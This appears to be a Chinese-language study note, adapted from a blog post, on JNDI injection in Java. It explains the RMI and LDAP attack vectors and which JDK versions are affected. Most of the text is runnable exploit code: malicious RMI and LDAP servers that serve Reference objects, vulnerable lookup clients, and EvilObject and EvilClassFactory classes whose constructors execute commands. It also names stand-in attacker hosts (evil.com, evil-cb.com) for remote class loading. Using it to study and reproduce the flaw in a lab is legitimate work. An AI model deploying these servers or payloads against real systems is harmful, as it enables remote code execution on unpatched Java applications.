JNDI基础知识

原文:https://www.mi1k7ea.com/2019/09/15/浅析JNDI注入

几乎“照搬”原文,参照学习记录下来,方便查看(非copy)学习时需要自己跟着模仿

JNDI全称为 Java Naming and DirectoryInterface(Java命名和目录接口)是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。

JNDI支持的服务主要有:

  1. 1. DNS:域名服务
  2. 1. LDAP:轻量级目录访问协议
  3. 1. CORBA:公共对象请求代理结构服务
  4. 1. RMIJava远程方法调用注册

🍟JNDI学习 - 图1

漏洞中涉及最多的是RMI(反序列化漏洞调用远程方法)LDAP这两个服务接口。

lookup函数的参数url可控时,就是JNDI注入。

代码看一下

  1. //Persom.java
  2. package JNDI;
  3. import java.io.Serializable;
  4. import java.rmi.Remote;
  5. class Person implements Remote, Serializable {
  6. private static final long serialVersionUID = 1L;
  7. private String name;
  8. private String password;
  9. public String getName() {
  10. return name;
  11. }
  12. public void setName(String name) {
  13. this.name = name;
  14. }
  15. public void setPassword(String password) {
  16. this.password = password;
  17. }
  18. public String getPassword() {
  19. return password;
  20. }
  21. public String toString(){
  22. return "name: "+name+" password: "+password;
  23. }
  24. }

服务端

  1. //Server.java
  2. package JNDI;
  3. import javax.naming.Context;
  4. import javax.naming.InitialContext;
  5. import java.rmi.registry.LocateRegistry;
  6. public class Server {
  7. public static void initPerson() throws Exception {
  8. LocateRegistry.createRegistry(3344);
  9. System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
  10. System.setProperty(Context.PROVIDER_URL, "rmi://localhost:3344");
  11. //初始化
  12. InitialContext ctx = new InitialContext();
  13. //实例化Person对象
  14. Person p = new Person();
  15. p.setName("m0re");
  16. p.setPassword("123456");
  17. //绑定JNDI服务
  18. ctx.bind("person", p);
  19. ctx.close();
  20. }
  21. public static void findPerson() throws Exception{
  22. InitialContext ctx = new InitialContext();
  23. //通过lookup查找person对象
  24. Person person = (Person) ctx.lookup("person");
  25. //打印一下
  26. System.out.println(person.toString());
  27. ctx.close();
  28. }
  29. public static void main(String[] args) throws Exception{
  30. initPerson();
  31. findPerson();
  32. }
  33. }

运行Server的程序,findPerson()函数会成功从启动的JNDI服务中找到指定的对象并输出出来

🍟JNDI学习 - 图2

Reference类

Reference类表示对存在于命名/目录系统以外的对象的引用。

Java为了将Object对象存储在Naming或Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming或Directory服务下,比如RMI、LDAP等。

在使用Reference时,我们可以直接将对象写在构造方法中,当被调用时,对象的方法就会被触发。

几个比较关键的属性:

  • className:远程加载时所使用的类名;
  • classFactory:加载的class中需要实例化类的名称;
  • classFactoryLocation:远程加载类的地址,提供classes数据的地址可以是file/ftp/http等协议;

JNDI注入

要想成功利用JNDI注入漏洞,重要的前提就是当前Java环境的JDK版本,而JNDI注入中不同的攻击向量和利用方式所被限制的版本号都有点不一样。

  • JDK 6u45、7u21之后:java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。
  • JDK 6u141、7u131、8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。
  • JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。

因此,我们在进行JNDI注入之前,必须知道当前环境JDK版本这一前提条件,只有JDK版本在可利用的范围内才满足我们进行JNDI注入的前提条件。

RMI攻击向量

RMI+Reference利用技巧

JNDI提供了一个Reference类来表示某个对象的引用,这个类中包含被引用对象的类信息和地址。

因为在JNDI中,对象传递要么是序列化方式存储(对象的拷贝,对应按值传递),要么是按照引用(对象的引用,对应按引用传递)来存储,当序列化不好用的时候,我们可以使用Reference将对象存储在JNDI系统中。

将恶意的Reference类绑定在RMI注册表中,其中恶意引用指向远程恶意的class文件,当用户在JNDI客户端的lookup()函数参数外部可控或Reference类构造方法的classFactoryLocation参数外部可控时,会使用户的JNDI客户端访问RMI注册表中绑定的恶意Reference类,从而加载远程服务器上的恶意class文件在客户端本地执行,最终实现JNDI注入攻击导致远程代码执行

🍟JNDI学习 - 图3

  1. 攻击者通过可控的 URI 参数触发动态环境转换,例如这里 URI 为 rmi://evil.com:1099/refObj
  2. 原先配置好的上下文环境 rmi://localhost:1099 会因为动态环境转换而被指向 rmi://evil.com:1099/
  3. 应用去 rmi://evil.com:1099 请求绑定对象 refObj,攻击者事先准备好的 RMI 服务会返回与名称 refObj想绑定的 ReferenceWrapper 对象(Reference("EvilObject", "EvilObject", "http://evil-cb.com/"));
  4. 应用获取到 ReferenceWrapper 对象开始从本地 CLASSPATH 中搜索 EvilObject 类,如果不存在则会从 http://evil-cb.com/ 上去尝试获取 EvilObject.class,即动态的去获取 http://evil-cb.com/EvilObject.class
  5. 攻击者事先准备好的服务返回编译好的包含恶意代码的 EvilObject.class
  6. 应用开始调用 EvilObject 类的构造函数,因攻击者事先定义在构造函数,被包含在里面的恶意代码被执行;

代码示例:(jdk版本大概在jdk1.8.0_65-jdk1.8.0_91其他没试过,应该1.8问题不大。)

  1. import com.sun.jndi.rmi.registry.ReferenceWrapper;
  2. import javax.naming.Reference;
  3. import java.rmi.registry.LocateRegistry;
  4. import java.rmi.registry.Registry;
  5. public class RMIService {
  6. public static void main(String[] args) throws Exception{
  7. Registry registry = LocateRegistry.createRegistry(1099);
  8. Reference refObj = new Reference("EvilObject", "EvilObject", "http://127.0.0.1:8080/");
  9. ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
  10. System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/refObj'");
  11. registry.bind("refObj", refObjWrapper);
  12. }
  13. }
  1. import javax.naming.Context;
  2. import javax.naming.InitialContext;
  3. public class JNDIClient {
  4. public static void main(String[] args) throws Exception{
  5. if(args.length< 1 ) {
  6. System.out.println("Usage: java JNDIClient <url>");
  7. System.exit(-1);
  8. }
  9. String url = args[0];
  10. Context ctx = new InitialContext();
  11. System.out.println("Using lookup() to fetch object with "+ url);
  12. ctx.lookup(url);
  13. }
  14. }
  1. public class EvilObject {
  2. public EvilObject() throws Exception{
  3. Runtime rt = Runtime.getRuntime();
  4. String[] command = {"cmd", "/C", "calc.exe"};
  5. Process pc = rt.exec(command);
  6. pc.waitFor();
  7. }
  8. }

需要注意的一点,需要将三个文件分别使用javac在命令行进行编译,如果是在IDEA中编写的代码,记得先把package xxx;删除掉,然后再进行编译,最好三个文件在不同的文件夹内,而为了不使EvilObject.class文件在漏洞复现过程中应用端实例化`EvilObject对象时从CLASSPATH当前路径找到编译好的字节代码,而不去远端进行下载的情况发生。

然后使用python起一个http服务器在8080端口(在EvilObject文件所在目录启动服务)(记得关掉burp代理

🍟JNDI学习 - 图4

成功实现JNDI注入。

lookup参数注入

当JNDI客户端的lookup()函数的参数可控即URI可控时,根据JNDI协议动态转换的原理,攻击者可以传入恶意URI地址指向攻击者的RMI注册表服务,以使受害者客户端加载绑定在攻击者RMI注册表服务上的恶意类,从而实现远程代码执行。

代码试试效果。环境提前声明:jdk1.8.0_65

  1. //AServer.java
  2. import com.sun.jndi.rmi.registry.ReferenceWrapper;
  3. import javax.naming.Reference;
  4. import java.rmi.registry.LocateRegistry;
  5. import java.rmi.registry.Registry;
  6. public class AServer {
  7. public static void main(String[] args) throws Exception{
  8. Registry registry = LocateRegistry.createRegistry(1688);
  9. Reference refObj = new Reference("EvilClass", "EvilClassFactory", "test");
  10. ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
  11. System.out.println("[*] Binding 'exp' to 'rmi://127.0.0.1:1688/exp'");
  12. registry.bind("exp", refObjWrapper);
  13. }
  14. }
  1. //AClient.java
  2. import javax.naming.Context;
  3. import javax.naming.InitialContext;
  4. import java.util.Properties;
  5. public class AClient {
  6. public static void main(String[] args) throws Exception{
  7. Properties env = new Properties();
  8. env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
  9. env.put(Context.PROVIDER_URL, "rmi://127.0.0.1:1099");
  10. Context ctx = new InitialContext(env);
  11. String url = "";
  12. if(args.length == 1) {
  13. url = args[0];
  14. System.out.println("[*] Using lookup() to fetch object with "+ url);
  15. ctx.lookup(url);
  16. } else {
  17. System.out.println("[*] Using lookup() to fetch object with rmi://127.0.0.1:1099/demo");
  18. ctx.lookup("demo");
  19. }
  20. }
  21. }
  1. //EvilClassFactory.java
  2. import javax.naming.Context;
  3. import javax.naming.Name;
  4. import javax.naming.spi.ObjectFactory;
  5. import java.io.*;
  6. import java.rmi.RemoteException;
  7. import java.rmi.server.UnicastRemoteObject;
  8. import java.util.Hashtable;
  9. public class EvilClassFactory extends UnicastRemoteObject implements ObjectFactory {
  10. public EvilClassFactory() throws RemoteException{
  11. super();
  12. InputStream inputStream;
  13. try {
  14. inputStream = Runtime.getRuntime().exec("ipconfig").getInputStream();
  15. BufferedInputStream bufferedInputStream = new BufferedInputStream(inputStream);
  16. BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(bufferedInputStream));
  17. String linestr;
  18. while ((linestr = bufferedReader.readLine()) != null){
  19. System.out.println(linestr);
  20. }
  21. } catch (IOException e) {
  22. throw new RuntimeException(e);
  23. }
  24. }
  25. @Override
  26. public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
  27. return null;
  28. }
  29. }

还是不加package进行编译。将AServer服务端和恶意类EvilClassFactory.class放在同一目录下,至于客户端就随意放了。

AServer.java,是攻击者搭建的恶意RMI注册表服务而非原本正常的本地RMI注册表服务(做漏洞演示就没必要写正常的服务端那部分了),其将恶意Reference类绑定到RMI注册表中,用于给JNDI客户端加载并执行恶意代码(注意这里的Reference类初始化时其第三个参数即factoryLocation参数随意设置了一个内容,将该恶意类放在与当前RMI注册表服务同一目录中,当然也可以修改该参数为某个URI去加载,但是需要注意的是URL不用指定到特定的class、只需给出该class所在的URL路径即可)

AClient.java,是JNDI客户端,原本上下文环境已经设置了默认连接本地的1099端口的RMI注册表服务,同时程序允许用户输入URI地址来动态转换JNDI的访问地址,即此处lookup()函数的参数可控

编写恶意EvilClassFactory类,目标是在客户端执行ipconfig命令,将其编译成class文件后与AServer放置于同一目录下

模拟场景,攻击者开启恶意RMI注册表服务AServer,同时恶意类EvilClassFactory放置在同一环境中,由于JNDI客户端的lookup()函数参数可控,因为当客户端输入指向AServer的URI进行lookup操作时就会触发JNDI注入漏洞,导致远程代码执行。

🍟JNDI学习 - 图5

漏洞点2——classFactoryLocation参数注入

前面lookup()参数注入是基于RMI客户端的,也是最常见的。而本小节的classFactoryLocation参数注入则是对于RMI服务端而言的,也就是说服务端程序在调用Reference()初始化参数时,其中的classFactoryLocation参数外部可控,导致存在JNDI注入。

🍟JNDI学习 - 图6

示例代码:

  1. //BClient.java
  2. import javax.naming.Context;
  3. import javax.naming.InitialContext;
  4. import java.util.Properties;
  5. public class BClient {
  6. public static void main(String[] args) throws Exception{
  7. Properties env = new Properties();
  8. env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
  9. env.put(Context.PROVIDER_URL, "rmi://127.0.0.1:1099");
  10. Context ctx = new InitialContext(env);
  11. System.out.println("[*] Using lookup() to fetch object with rmi://127.0.0.1:1099/demo");
  12. ctx.lookup("demo");
  13. }
  14. }
  1. //BServer.java
  2. import com.sun.jndi.rmi.registry.ReferenceWrapper;
  3. import javax.naming.Reference;
  4. import java.rmi.registry.LocateRegistry;
  5. import java.rmi.registry.Registry;
  6. public class BServer {
  7. public static void main(String[] args) throws Exception{
  8. String url = "";
  9. if(args.length == 1){
  10. url = args[0];
  11. }else {
  12. url = "http://127.0.0.1/demo.class";
  13. }
  14. System.out.println("[*] ClassFactoryLocation: " + url);
  15. Registry registry = LocateRegistry.createRegistry(1099);
  16. Reference refObj = new Reference("EvilClass", "EvilClassFactory", url);
  17. ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
  18. System.out.println("[*] Binding 'demo' to 'rmi://192.168.136.1:1099/demo'");
  19. registry.bind("demo", refObjWrapper);
  20. }
  21. }
  1. //EvilClassFactory.java
  2. import javax.naming.Context;
  3. import javax.naming.Name;
  4. import javax.naming.spi.ObjectFactory;
  5. import java.io.*;
  6. import java.rmi.RemoteException;
  7. import java.rmi.server.UnicastRemoteObject;
  8. import java.util.Hashtable;
  9. public class EvilClassFactory extends UnicastRemoteObject implements ObjectFactory {
  10. public EvilClassFactory() throws RemoteException{
  11. super();
  12. InputStream inputStream;
  13. try {
  14. inputStream = Runtime.getRuntime().exec("calc.exe").getInputStream();
  15. BufferedInputStream bufferedInputStream = new BufferedInputStream(inputStream);
  16. BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(bufferedInputStream));
  17. String linestr;
  18. while ((linestr = bufferedReader.readLine()) != null){
  19. System.out.println(linestr);
  20. }
  21. }catch (IOException e){
  22. e.printStackTrace();
  23. }
  24. }
  25. @Override
  26. public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
  27. return null;
  28. }
  29. }

攻击者将恶意类EvilClassFactory.class放置在自己的Web服务器后,通过往RMI注册表服务端的classFactoryLocation参数输入攻击者的Web服务器地址后,当受害者的RMI客户端通过JNDI来查询RMI注册表中年绑定的demo对象时,会找到classFactoryLocation参数被修改的Reference对象,再远程加载攻击者服务器上的恶意类EvilClassFactory.class,从而导致JNDI注入、实现远程代码执行

🍟JNDI学习 - 图7

漏洞点3——RMI恶意远程对象

攻击者实现一个RMI恶意远程对象并绑定到RMI Registry上,编译后的RMI远程对象类可以放在HTTP/FTP/SMB等服务器上,这个Codebase地址由远程服务器的 java.rmi.server.codebase 属性设置,供受害者的RMI客户端远程加载,RMI客户端在 lookup() 的过程中,会先尝试在本地CLASSPATH中去获取对应的Stub类的定义,并从本地加载,然而如果在本地无法找到,RMI客户端则会向远程Codebase去获取攻击者指定的恶意对象,这种方式将会受到 useCodebaseOnly 的限制。利用条件如下:

  1. RMI客户端的上下文环境允许访问远程Codebase
  2. 属性 java.rmi.server.useCodebaseOnly 的值必需为false

然而从JDK 6u457u21开始,java.rmi.server.useCodebaseOnly 的默认值就是true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前VMjava.rmi.server.codebase 指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。

利用条件比较苛刻

漏洞点4——结合反序列化漏洞

漏洞类重写的readObject()方法中直接或间接调用了可被外部控制的lookup()方法,导致攻击者可以通过JNDI注入来进行反序列化漏洞的利用。

LDAP攻击向量

通过LDAP攻击向量来利用JNDI注入的原理和RMI攻击向量是一样的,区别只是换了个媒介而已

LDAP+Reference利用技巧

除了RMI服务之外,JNDI还可以对接LDAP服务,且LDAP也能返回JNDI Reference对象,利用过程与上面RMI Reference基本一致,只是lookup()中的URL为一个LDAP地址如ldap://xxx/xxx,由攻击者控制的LDAP服务端返回一个恶意的JNDI Reference对象。

注意一点就是,LDAP+Reference的技巧远程加载Factory类不受RMI+Reference中的com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制,所以适用范围更广。但在JDK 8u1917u2016u211之后,com.sun.jndi.ldap.object.trustURLCodebase属性的默认值被设置为false,对LDAP Reference远程工厂类的加载增加了限制。

所以,当JDK版本介于8u1917u2016u2116u1417u1318u121之间时,我们就可以利用LDAP+Reference的技巧来进行JNDI注入的利用。

因此,这种利用方式的前提条件就是目标环境的JDK版本在JDK8u1917u2016u211以下。

  1. //LdapServer.java
  2. import com.unboundid.ldap.listener.InMemoryDirectoryServer;
  3. import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
  4. import com.unboundid.ldap.listener.InMemoryListenerConfig;
  5. import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
  6. import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
  7. import com.unboundid.ldap.sdk.*;
  8. import javax.net.ServerSocketFactory;
  9. import javax.net.SocketFactory;
  10. import javax.net.ssl.SSLSocketFactory;
  11. import java.net.InetAddress;
  12. import java.net.MalformedURLException;
  13. import java.net.URL;
  14. public class LdapServer {
  15. private static final String LDAP_BASE = "dc=example, dc=com";
  16. public static void main(String[] args) {
  17. String url = "http://127.0.0.1:8000/#EvilObject";
  18. int port = 1234;
  19. try {
  20. InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
  21. config.setListenerConfigs(new InMemoryListenerConfig(
  22. "listen",
  23. InetAddress.getByName("0.0.0.0"),
  24. port,
  25. ServerSocketFactory.getDefault(),
  26. SocketFactory.getDefault(),
  27. (SSLSocketFactory) SSLSocketFactory.getDefault()));
  28. config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
  29. InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
  30. System.out.println("Listening on 0.0.0.0:" + port);
  31. ds.startListening();
  32. } catch (Exception e) {
  33. e.printStackTrace();
  34. }
  35. }
  36. private static class OperationInterceptor extends InMemoryOperationInterceptor{
  37. private URL codebase;
  38. public OperationInterceptor(URL cb ){
  39. this.codebase = cb;
  40. }
  41. public void processSearchResult(InMemoryInterceptedSearchResult result){
  42. String base = result.getRequest().getBaseDN();
  43. Entry e = new Entry(base);
  44. try {
  45. sendResult(result, base, e);
  46. }catch (Exception e1){
  47. e1.printStackTrace();
  48. }
  49. }
  50. protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException{
  51. URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
  52. System.out.println("Send LDAP reference result for " + base + "redirecting to " + turl);
  53. e.addAttribute("javaClassName", "Exploit");
  54. String cbstring = this.codebase.toString();
  55. int refPos = cbstring.indexOf('#');
  56. if (refPos > 0){
  57. cbstring = cbstring.substring(0, refPos);
  58. }
  59. e.addAttribute("javaCodeBase", cbstring);
  60. e.addAttribute("objectClass", "javaNamingReference");
  61. e.addAttribute("javaFactory", this.codebase.getRef());
  62. result.sendSearchEntry(e);
  63. result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
  64. }
  65. }
  66. }
  1. //LdapClient.java
  2. import javax.naming.Context;
  3. import javax.naming.InitialContext;
  4. import javax.naming.NamingException;
  5. public class LdapClient {
  6. public static void main(String[] args) throws Exception{
  7. try {
  8. Context ctx = new InitialContext();
  9. ctx.lookup("ldap://localhost:1234/EvilObject");
  10. String data = "This is LDAP Client.";
  11. }
  12. catch (NamingException e) {
  13. e.printStackTrace();
  14. }
  15. }
  16. }
  1. //EvilObject.java
  2. public class EvilObject {
  3. public EvilObject() throws Exception {
  4. Runtime.getRuntime().exec("calc.exe");
  5. }
  6. }

也是执行成功了….

🍟JNDI学习 - 图8